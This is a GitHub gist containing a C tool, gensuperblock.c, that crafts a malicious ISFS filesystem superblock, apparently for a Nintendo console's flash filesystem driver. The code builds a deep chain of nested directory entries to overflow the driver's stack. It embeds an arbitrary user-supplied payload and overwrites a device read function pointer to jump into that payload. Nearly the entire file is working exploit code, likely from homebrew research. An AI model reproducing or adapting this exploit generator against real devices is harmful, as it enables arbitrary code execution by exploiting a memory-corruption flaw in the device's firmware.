Created
March 29, 2021 20:19
-
-
Save rw-r-r-0644/c89f2c0c5d04d8ba03b56190161aad73 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* gensuperblock.c | |
* | |
* Copyright (C) 2021 rw-r-r-0644 | |
* This file is under GNU GPLv2+ | |
*/ | |
#include <arpa/inet.h> | |
#include <stdint.h> | |
#include <string.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <assert.h> | |
typedef struct FST_Entry FST_Entry; | |
typedef struct ISFS_Superblock ISFS_Superblock; | |
typedef struct FS_Device FS_Device; | |
struct FST_Entry | |
{ | |
char name[12]; | |
uint8_t mode; | |
uint8_t attr; | |
uint16_t sub; | |
uint16_t sib; | |
uint32_t size; | |
uint16_t x1; | |
uint16_t uid; | |
uint16_t gid; | |
uint32_t x3; | |
} __attribute__((packed)); | |
struct ISFS_Superblock | |
{ | |
uint32_t magic; | |
uint32_t generation; | |
uint32_t field_0x8; | |
uint16_t fat[0x8000]; | |
FST_Entry fst[6143]; | |
uint8_t pad[20]; | |
} __attribute__((packed)); | |
struct FS_Device | |
{ | |
int field_0x0; | |
uint32_t instance; | |
uint32_t fun_init; | |
uint32_t fun_read; | |
uint32_t fun_write; | |
uint32_t fun_shutdown; | |
uint32_t field_0x18; | |
uint32_t field_0x1c; | |
uint32_t field_0x20; | |
uint32_t field_0x24; | |
uint32_t field_0x28; | |
uint32_t sectorsLo; | |
uint32_t sectorsHi; | |
uint32_t field_0x34; | |
uint32_t field_0x38; | |
uint32_t field_0x3c; | |
uint32_t field_0x40; | |
uint32_t sectorSize; | |
uint32_t field_0x48; | |
uint32_t field_0x4c; | |
uint32_t field_0x50; | |
uint32_t field_0x54; | |
uint32_t field_0x58; | |
char manufacturer[128]; | |
char model[128]; | |
char na[128]; | |
} __attribute__((packed)); | |
int craft_superblock(ISFS_Superblock *super, void *payload, size_t payload_size) | |
{ | |
super->magic = htonl(0x53465321); | |
super->generation = htonl(0xffff0000); | |
super->field_0x8 = htonl(0); | |
for (int i = 0; i < 0x8000; i++) { | |
super->fat[i] = htons(0xFFFD); | |
} | |
/* Create root node */ | |
strcpy(super->fst[0].name, "/"); | |
super->fst[0].mode = 2; | |
super->fst[0].attr = 0; | |
super->fst[0].sib = htons(0xFFFF); | |
super->fst[0].sub = htons(1); | |
/* Create /sys/config/system.xml */ | |
strcpy(super->fst[1].name, "sys"); | |
super->fst[1].mode = 2; | |
super->fst[1].attr = 0; | |
super->fst[1].sib = htons(4); | |
super->fst[1].sub = htons(2); | |
strcpy(super->fst[2].name, "config"); | |
super->fst[2].mode = 2; | |
super->fst[2].attr = 0; | |
super->fst[2].sib = htons(0xFFFF); | |
super->fst[2].sub = htons(3); | |
strcpy(super->fst[3].name, "system.xml"); | |
super->fst[3].mode = 0xC1; | |
super->fst[3].attr = 0; | |
super->fst[3].sib = htons(0xFFFF); | |
super->fst[3].sub = htons(0x7FFF); | |
super->fst[3].size = htonl(0x0636); | |
super->fat[0x7FFF] = htons(0xFFFB); /* required to prevent stat crash */ | |
/* Create other 0x69 entries overflow the stack up to 0x0x0D40E240 */ | |
unsigned int ifst; | |
for (ifst = 4; ifst < (4+0x69); ifst++) { | |
strcpy(super->fst[ifst].name, "a"); | |
super->fst[ifst].mode = 2; | |
super->fst[ifst].attr = 0; | |
super->fst[ifst].sib = htons(0xFFFF); | |
super->fst[ifst].sub = htons(ifst + 1); | |
} | |
super->fst[ifst-1].sub = htons(0xFFFF); | |
/* Copy payload after the used FSTs */ | |
size_t code_offset = (uintptr_t)&super->fst[ifst] - (uintptr_t)super; | |
size_t code_size = (uintptr_t)&super[1] - (uintptr_t)&super->fst[ifst]; | |
if (payload_size > code_size) { | |
printf("error: payload size exceeds available space!\n"); | |
return -1; | |
} | |
memcpy((uint8_t *)super + code_offset, payload, payload_size); | |
/* FLA FS_Device's address will be set to the start of | |
* this superblock by the stack overflow. | |
* Point FS_Device->read() to the start of the payload */ | |
uint32_t jump_target = 0x01F80000 + code_offset; | |
FS_Device *device = (FS_Device *)super; | |
device->fun_read = htonl(jump_target); | |
printf("Jump target: %08X\n", jump_target); | |
return 0; | |
} | |
void *load_file(char *filename, size_t *out_size) | |
{ | |
void *buf = NULL; | |
size_t size = 0; | |
FILE *f; | |
if ((f = fopen(filename, "rb")) == NULL) { | |
return NULL; | |
} | |
fseek(f, 0, SEEK_END); | |
size = ftell(f); | |
rewind(f); | |
if ((buf = malloc(size)) == NULL) { | |
fclose(f); | |
return NULL; | |
} | |
if (fread(buf, 1, size, f) != size) { | |
free(buf); | |
buf = NULL; | |
} else if (out_size) { | |
*out_size = size; | |
} | |
fclose(f); | |
return buf; | |
} | |
int save_file(char *filename, void *buf, size_t size) | |
{ | |
FILE *f; | |
if ((f = fopen(filename, "wb")) == NULL) { | |
return -1; | |
} | |
fwrite(buf, 1, size, f); | |
fclose(f); | |
return 0; | |
} | |
int main(int argc, char **argv) | |
{ | |
ISFS_Superblock *super; | |
uint8_t *payload; | |
size_t payload_size; | |
if (argc < 3) { | |
printf("usage: gensuperblock [input payload] [output superblock]\n"); | |
return -1; | |
} | |
super = calloc(1, sizeof(*super)); | |
assert(super != NULL); | |
payload = load_file(argv[1], &payload_size); | |
if (!payload) { | |
printf("failed to load payload\n"); | |
return 0; | |
} | |
if (craft_superblock(super, payload, payload_size) < 0) { | |
free(super); | |
return -1; | |
} | |
if (save_file(argv[2], super, sizeof(*super)) < 0) { | |
printf("failed to write output superblock\n"); | |
return -1; | |
} | |
free(super); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment